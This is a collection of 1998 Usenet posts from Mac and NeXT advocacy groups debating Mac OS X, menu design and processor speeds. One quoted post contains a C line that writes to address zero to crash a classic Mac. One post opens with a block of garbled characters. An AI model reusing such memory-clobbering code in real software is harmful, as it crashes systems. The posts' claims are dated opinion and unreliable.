References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <35C161F5.925953A@earthlink.net> <stevehix-0108981435170001@ip57.safemail.com> <6q0bc2$g5u$1@nnrp1.dejanews.com> <35C4DBD0.71F2@bellatlantic.net>
In article <35C4DBD0.71F2@bellatlantic.net>, dutky@bellatlantic.net wrote:
>
> Backward compatability with 68k apps and extensions. My impression
> from the carbon paper and Job's keynote at WWDC was that Apple is
> planning to drop all support for emulated code in MacOS X. If you
> have an app that only comes as a 68k binary, you can't run it on
> OS X and would need to keep an OS 8.x system around.
>
> Beyond that, OS 8.x is a full implementation of "classic" MacOS,
> while OS X will be a trimmed down implementation, only providing
> the Carbon subset of the system calls. While Apple said that pre-
> carbon apps would run, but not be able to take full advantage of
> the new OS features, I will bet that some apps will be sensitive
> to the behavior of the emulated system calls (or libraries, or
> whatever Apple plans to do to support apps that make pre-Carbon
> system calls) that they will break on OS X. You can be certain
> that there will be apps that will ONLY run on OS X, just as there
> are apps that ONLY run on PPC.
>
You'll still have BlueBox in some state, transparent or seperate screen.
If they will be supporting the classic toolbox calls, some of which are
still in 68k only code, they will need an emulator. The alternative is to
go through the hassle of recoding the old calls for a dead API. It makes
much more sense to include the emulator that they already have working.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 2 Aug 1998 22:40:20 GMT
Organization: University of California at San Diego
Message-ID: <slrn6s9qmk.1n2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35c0cd24.0@news.depaul.edu> <B1E65ACA-20BAA@206.165.43.108> <6pshr0$2r2$1@bartlet.df.lth.se> <35C22822.C641FEEB@earthlink.net> <joe.ragosta-3107982005300001@elk71.dol.net> <6pvl67$5ms@news1.panix.com>
On 1 Aug 1998 18:01:43 GMT, Sal Denaro <sal@panix.com> wrote:
:On Fri, 31 Jul 1998 20:05:28 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
:>Well, the switch to Intel will just make Be's failure that much quicker.
:
:Huh? They moved from an 8-12 mil target market to a 100 mil target market.
That's the seductive, and seemingly obvious argument that NeXT believed.
In reality, you move to a phantom 100 million target market which is
infested with powerful, ambitious unrelenting Microsoft channel sales
representatives. On the other side, there hardware companies which have no
particular interest in operating systems---they move boxes. On the third
side, cheap incompatible cards with hardware specifications churning
every six months.
Multiply them and convert to Unicode: it spells "Windows uber alles".
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: paul_lucente@merck.com (Paul Lucente)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 03 Aug 1998 10:39:17 -0400
Organization: Merck & Co.
Message-ID: <paul_lucente-ya02408000R0308981039170001@merck.com>
References: <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6pvq5u$lb9$1@nnrp1.dejanews.com> <joe.ragosta-0208981107500001@elk36.dol.net>
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In article <joe.ragosta-0208981107500001@elk36.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6pvq5u$lb9$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> > strcpy( (char *) 0, "Restart Mac here (interupt vector gone)." );
> >
>
> So what? The following messes up my Windows machine and not my Mac:
>
> "fdisk".
It does? When I type that in, all I get is a menu, what happens when you do it?
Paul
The contents of this message express only the sender's opinion.
This message does not necessarily reflect the policy or views of
my employer, Merck & Co., Inc. All responsibility for the statements
made in this Usenet posting resides solely and completely with the
sender.
From: "R. Kirk McPike" <rkirkmcp@nkn.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 2 Aug 1998 18:38:51 -0500
Organization: T-Minus Productions
Message-ID: <6q2t8c$br7$1@news.onramp.net>
References: <26703-35C212B2-10@newsd-122.bryant.webtv.net> <26460-35C35EA3-21@newsd-121.bryant.webtv.net> <35c43548.0@nnrp1.news.uk.psi.net>
Richard Frith-Macdonald wrote in message
<35c43548.0@nnrp1.news.uk.psi.net>...
>RasAllGhul@webtv.net (Joshua Moore) wrote:
>>
>>>=A0 Also - I just can't understand the aversion to
>>>buttons on the menu bar - none of the reasons
>>>I have been given convince, and I suspect that
>>>it's really more habit than anything else that
>>>makes some people hate that idea.
>>
>>How consistent is it to have *buttons* in a *menu*bar? If you really
>>need a global button bar, there's the Control Strip.
>
>Completely consistent - since the menubar is a menu, and all the other
>menus permit you to select other items than submenus.
Not in the Mac OS it's not. In Mac OS the menu bar is a separate entity that
lets you select menus. Sure, it has one kludge to it (the clock), but that's
only because there's no other place to put a System-wide clock.
>Please let's not get into this again - anyone who wants to claim that
>the menubar is not a menu - just go away an look things up in a dictionary
>and/or general (ie not mac specific) ui design book.
It's not a menu. A menu is an item that lets you select COMMANDS or
SUBMENUS. The menubar is an item that lets you select MENUS. Maybe in NeXT
the menubar (or palette or whatever) was a menu in and of itself, but in Mac
OS IT IS NOT!
And since we're discussing the Mac OS' interface it is you that is wrong.
This is a Mac specific UI feature and a Mac specific UI discussion.
For single click access to commonly used command the Mac OS standard is a
toolbar, a much simpler to understand widget. The Menubar is for storing
menus in the Mac UI. We are discussing the Mac UI. End of argument.
Kirk McPike
Tired of NeXTians trying to force their UI on Mac users
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 2 Aug 98 21:28:14 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EA8A70-2E105@206.165.43.14>
References: <slrn6s9r2h.1n2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>On 1 Aug 98 21:10:33 -0700, Lawson English <english@primenet.com>
>wrote:
>: SMP isn't even a blip on the horizon of
>:MacOS, X or otherwise.
>
>
>http://developer.apple.com/macosx/server/rhapfaq/3.html
>
> When will Rhapsody first deliver SMP?
>
> Rhapsody will not support SMP.
> SMP support will be delivered with Mac OS X.
>
> Created: 10/8/97
> Modified: 6/20/98
>
Fair enough. Perhaps they actually WILL do what they said that they would
(for once). However, just WHICH systems will MacOS X run on will have more
than one processor?
Not until the multi-processor G4 PowerMacs come along, which will be quite
some time AFTER MacOS X is released
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:07:20 -0500
Organization: Ericsson Inc.
Message-ID: <35C5E038.DBD31BA5@exu.ericsson.se>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com>
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John Kheit wrote:
> Having tear off menus, and top level access is useful to some, at the very
> least. A mechanism I proposed a long time ago would be to be able to tear
> off any menu item, and build your own persistent tear off menu with things in
> it, so you can have a custom top level access "menu palette." This is a very
> consistent, unobtrusive kind of design. It doesn't yell "hey hey, look at
> me, I'm a weird button with an ugly undescribable icon and I take up extra
> space and some how stuck on to stuff." It's a very customizable solution,
> easily understood and used, yet doesn't distract from your work. It's
> simplification. Unless you really need a new mechanism because and old one
> doesn't cut it, it may make sense to just allow the old one the enhanced
> functionality.
I think that's a really good idea, but it sounds just like a
customizable toolbar, in effect.
> Now, I'm not saying I know for a fact that one philosophy is superior to the
> other in fact. I just don't. I have my suspicions, but I may well be wrong
> on it. Regardless, you don't know either, and that's why I think you had to
> use the passive voice because there is no authority or study that would be
> conclusive on this.
That's partly right, I don't speak from authority, because I can't cite
the studies involved. But for what it's worth I know *of* studies that
bear this out.
MJP
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IBM 1 GHz 750 in early 1999
Date: Sun, 02 Aug 1998 21:38:28 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0208982138310001@sdn-ar-001casbarp290.dialsprint.net>
References: <joe.ragosta-0208981106390001@elk36.dol.net> <6q2a8t$dd7@mozo.cc.purdue.edu> <6q2dtq$nuf$1@morgoth.sfu.ca> <joe.ragosta-0208981917200001@elk87.dol.net> <datamagik-0208981822070001@eccr230mac228.colorado.edu>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <datamagik-0208981822070001@eccr230mac228.colorado.edu>,
datamagik@usa.net (Jay Riley) wrote:
> Anyone care to speculate as to whether those specs would allow a 1GHz IBM
> G3 to emulate a Pentium II in Virtual at a % of clock speed equivalent to
> a 233MHz G3?
>
> IIRC, a 233MHz G3 PowerMac running VirtualPC acts like a 166MHz PII. If
> Apple can deliver a 1GHz G3 PowerMac with specs like that, it will be
> emulating a 700MHz PII.
If you recall correctly? Well let us educate you... first of all, a p2
233 is FASTER than a pentium 233. a 233 g3 running vpc 2 would not act
like a non existant p2, maybe it would act like a 166 mhz pentium mmx (AND
a 166 mhz pentium mmx would be SLOWER than a p2 166, if such a thing
existed, and I dont believe their ever was such a beast. In some software
I am sure it would be the speed of a 166 mhz pentium. I think on a whole
its between a pentium 90 and a pentium 166.
Now as far as a a 1 ghz g3 under vpc being the speed of a p2 700, we will
just have to archive this post of yours till the GX at 1 ghz is out, run
vpc on it, compare it to a p2 700, then laugh our asses off at your
pathetic trollish comments
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:29:01 -0500
Organization: Ericsson Inc.
Message-ID: <35C5E54D.560FC3E3@exu.ericsson.se>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com> <6pvl64$5ms@news1.panix.com> <01bdbdd8$989418b0$efb5dccf@samsara>
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Jonathan Hendry wrote:
> I don't see how Windows demonstrates that. There was a pretty major
> UI change with Win95, but the different UI wasn't the main factor
> why some people put off upgrading; the main reason was having to
> upgrade their hardware to run it. I don't think many people complained
> about getting Win95 on new PC's, rather than Win3.1.
Good point. Does this mean you've seen how the lessons of history
reflect on Apple's decision not to allow MacOS X to run on
current-but-non-G3 hardware?
MJP
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:24:52 -0500
Organization: Ericsson Inc.
Message-ID: <35C5E454.36ECA327@exu.ericsson.se>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net>
<35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se>
<6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com>
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rr6013@yahoo.com wrote:
> And indeed it most certainly does... Michael Peck from reading his posts is
> probably more keyboard centric while I know John Kheit is mouse centric. I
> used to be mouse centric until emacs expanded my envelope of productivity at
> the keyboard. Emacs "rules" lasted until I met John Kheit. NeXT drag&drop
> enhancements are second to none in productivity even against the most ardent
> emacs gurus.
I'm actually more (left-hand-keyboard)-(right-hand-mouse)-centric. All
of my windowing is done with commonly-defined raise/lower and
focus-follows-mouse configurations. I have never seen anyone who can
shuffle, resize, move, hide/unhide windows, or switch virtual desktops
as quickly as I can. That's not to boast: the setup makes it easy. You
may ask, if it's so easy, why doesn't everybody use it? I wonder the
same thing myself.
I agree in spirit; NeXT drag and drop is very good. But a better system
would enable designating source and target window using the mouse,
enabling the transaction with the keyboard. Dragging the mouse button
sucks hard. If I could use a click to "pick up" an item, and then "drop"
it with keyboard modifiers to designate copy/move/transform
(context-specific) or even multiple drops, I'd consider it truly mature.
As it is, I just can't cheer for a wonderful implementation of what is,
to me, a crude and immature but promising concept (drag and drop).
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 3 Aug 1998 17:46:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q4t2c$evb$1@lwnws01.ne.highway1.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <35C5E038.DBD31BA5@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> I think that's a really good idea, but it sounds just like a
> customizable toolbar, in effect.
Kinda. Just more clear since there's a word there rather than some
incomprehensible icon. ALso, it would be system wide pervasive. When
something is available for free in every app, you have a sort of critical
mass in usefulness taking place. Finally, it doesn't have to float. It can
just be a menu that pops up from say the Windows menu, or the Custom menu or
something like that. One may assign their own keys to things there (perhaps
something like cmnd 1, 2, 3, or whatever,) that overide all others. One may
tear off the menu for a palette like use, or not. It seems more integrated,
subtle, and functional than the toolbar notion. YMMV.
> > Now, I'm not saying I know for a fact that one philosophy is
> > superior to the other in fact. I just don't. I have my
> > suspicions, but I may well be wrong on it. Regardless, you
> > don't know either, and that's why I think you had to use the
> > passive voice because there is no authority or study that would
> > be conclusive on this.
>
> That's partly right, I don't speak from authority, because I
> can't cite the studies involved. But for what it's worth I know
> *of* studies that bear this out.
Well, I'll take your word on it. It doesn't mean I at all respect the
studies though. (It might be the same guys that came up with the 3D banzi
tree UI at apple :)
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:17:59 -0500
Organization: Ericsson Inc.
Message-ID: <35C5E2B7.3B28C52B@exu.ericsson.se>
References: <andyba-ya02408000R3107981030580001@news> <1998080101261100.VAA09290@ladder03.news.aol.com>
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WillAdams wrote:
> MJP - rather than NeXT Nazis, how about an efficiency expert observing that by
> arranging the menu vertically instead of horizontally, one then has room for
> three entries (print, hide and quit) which may then be accessed in a quicker
> fashion, point and click instead of point, click/drag/release?
I think we've been throwing around the various (de)merits of this
system, and you can rest assured that I agree with neither the concept
of top-level menu items nor the specific choices made by NeXT regarding
which items should be at the top level. Now, this is just personal, but
I haven't used a menu to access any of the three (print,hide,and quit)
in probably five years or so, with perhaps momentary lapses. I use
keyboard shortcuts for all of them.
Efficiency expert? Does that imply that this person was *not* an expert
in anything else regarding interface? I wouldn't design a UI on the sole
advice of an efficiency expert, just as I would not drive any
automobiles built by same.
MJP
Date: Mon, 03 Aug 1998 15:26:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-0308981526240001@wil66.dol.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net>
In article <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Says who? Says anyone who looks at their support evidence and uses the
> grey matter in their head. You go to their web page, find the ad, see a
> asterick, find the asterick at the bottom of the page where it gives the
> evidence to support their claim, and you see their evidence that is up to
> twice as fast is
> 1) using bytemark
> 2) when you use macos software on the mac, and windows on the pc, and of
> course you have to use specific compilers, if you use the "wrong" compiler
> the results will be lower.
Or higher, if you choose a different compiler. You seem to keep forgetting that.
Apple chose to use the data the way Byte presented it. If they had wanted
to use the _fastest_ compiler, they'd have chosen MrC. You have a
complaint against Byte, take it up with them.
> >
> > C'mon. Where's the righteous indignation for *Intel's* "little white lie?"
>
>
> WTF are you talking about? In the same paragraph of mine you are replying
> to I said intels claim that the p2 chip causes the computer to have more
> vibrant colors was STUPID.
>
> Look, instead of trying to get into a match just calling people "wintel
> fudsters" a la Joe Ragosta, how about trying some objective debate
Yep. You're back to the ad hominem attacks. Typical.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:46:50 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0308981146500001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com>
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In article <6pt4vl$5sv$3@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> > In article <6pqqjc$jr6$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> >
> > > If I remember correctly, the libreto has a 6" screen. Ostensibly
> > > a palm type unit. 9" is going to make it a crap laptop.
> >
> > See, here you go again. I'll note for the record that you AREN'T
> > complaining about how the UI will scale badly to desktop machines;
> > you are talking about a machine with a 9" screen being a "crap
> > laptop."
>
> Since you have repeatedly not comprehended what I have said, I'll note you
> are far from an authority on noting what I said, for the record or
otherwise.
> And once again you're wrong. I *am* complaining that a UI designed to work
> well on a 640X480 resolution will not scale well, nor work as well as a UI
> designed to work at 1024X768 on up.
No, in that specific posting, you were complaining that a 9" screen would
be a "crap laptop." You said nothing about the UI not scaling well to
larger screens. Maybe you expect everyone to read all of your postings for
the past six months to understand what you're "really" complaining about,
but I take each message as it comes, and judge it by what it says. You WERE
complaining about the screen, and you WEREN'T complaining about the UI not
scaling well.
> > Now, this is a simple question: if this guy says he loves his
> > Libretto, and the Libretto has a 6" screen, how would giving it
> > a BIGGER screen make it a WORSE device?
>
> Because at that point it wouldn't ostensibly be a palm top, it would be too
> big.
Semantics. A device with a 9" screen could still be held in your hand, and
still be a palmtop.
> > To make an analogy, it's like saying that a Porsche sucks because
> > it's a "crap race car."
>
> What kind of porsche is it? Is it a street legal stock 911? If so, it would
> suck as a formula 1 race car. I would hate to limit a formula 1 car with a
> stock porsche UI--having a relatively long throw gear box rather than the
> semi-automatic trip, the seating stance which would keep the car from being
> aerodynamic, all the niceties that add weight, etc etc.
Nevertheless, a stock 911 would be a great sports car for a lot of people.
But by your logic, since it would be a crappy race car, it must be a crappy
machine.
In other words, just because you think that a device with a 9" screen would
be a "crap laptop," that doesn't mean that a lot of other people wouldn't
benefit from having one, and find it well worth the price.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:50:09 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0308981150090001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <35BF4E0B.20BC88D3@ericsson.com> <35bf8505.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981710160001@news> <35c18547.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3107981108110001@news> <35c22269.0@nnrp1.news.uk.psi.net>
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In article <35c22269.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> I'm giving up on this - I don't mind arguing with Michael Peck while I
disagree
> hugely with many of his opinions, and often have a hard time
understanding where
> he's coming from, at least he makes some intelligent comments and contributes
> to this newsgroup - I haven't seen you write ANYTHING worthwhile yet!
I like to think that I contribute by showing the errors in logic that other
people post, and offering my own suggestions. I may use a different tack
that other people (I prefer the reductio ad absurdum method of argument),
but I don't think that my postings are any less "worthwhile." Nevertheless,
if you don't care to argue with me, then that's fine.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:52:22 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0308981152220001@news>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news> <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R3107981506300001@news> <6ptjon$g13$2@news.spacelab.net>
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In article <6ptjon$g13$2@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> >
> >The problem is that you have to check out which ones are buttons and which
> >ones are menus before clicking. On the Mac, you can click on any menu and
> >proceed to traverse the menu system. With NeXT, you have to check first.
>
> No, you don't. Try it out yourself.
>
> You can mouse down anywhere, even in a NEXTSTEP top-level menu cell
> ("button"), and continue to hold the mouse button down and drag to traverse
> the rest of the menu hierarchy without activating the button you clicked in
> originally.
>
> NEXTSTEP menu buttons get activated by the mouse-up event, not the
> mouse-down.
Yes, but if you use the Mac-standard option, where you can pop up a menu by
either a mouse-down OR a click-release to bring up the submenus, the
click-release on a NeXTStep menu button WOULD select it. So the hierarchy
of the NeXT menu system would limit the menu functionality, since you could
no longer use click-release to bring up the menus, and click to select.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 12:03:18 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0308981203180001@news>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news> <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R3107981506300001@news> <6pti1s$4pj$4@cronkite.cygnus.com>
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In article <6pti1s$4pj$4@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> In <andyba-ya02408000R3107981506300001@news> Andy Bates wrote:
> >
> > The problem is that you have to check out which ones are buttons and which
> > ones are menus before clicking. On the Mac, you can click on any menu and
> > proceed to traverse the menu system. With NeXT, you have to check first.
>
> Just what are you smoking?
>
> Your example of what Mac menu can do does not at all sound like anything a
> NeXT menu cannot do. Could you please be more specific?
Certainly. With the current Mac menu system, if I want to make a menu
selection, I can just whip the mouse up the the menu bar, click-release on
any one of the menus, then worry about which menu I want to go to and which
command I want to select. I do not have to worry about which items are
submenus, simply because ALL of the top-level items are submenus. Now, if
one of those items was a button instead, my quick click-release would
invoke that button, instead of bringing up the submenu. Thus, I would have
to be more careful in selecting the menu, which would slow down my
selection speed.
And yes, I could get around this by just using a click-hold to select the
menu, and a release to invoke it, but that would be forcing me to limit my
interface with the menu system to account for having buttons on the top
level. In my opinion, the limitation is not worth the benefit.
Does that make more sense?
Andy Bates.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.arch
Subject: 4-way PPC 750
Date: 3 Aug 1998 19:39:35 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6q53ln$la2@newsb.netnews.att.com>
Originator: gupta@tlctest
IBM's Silicon-on-insulator (SOI) is interesting enough, but
something else caught my eye.
http://www.eet.com/news/98/1020news/ibmtakes.html
Quote :
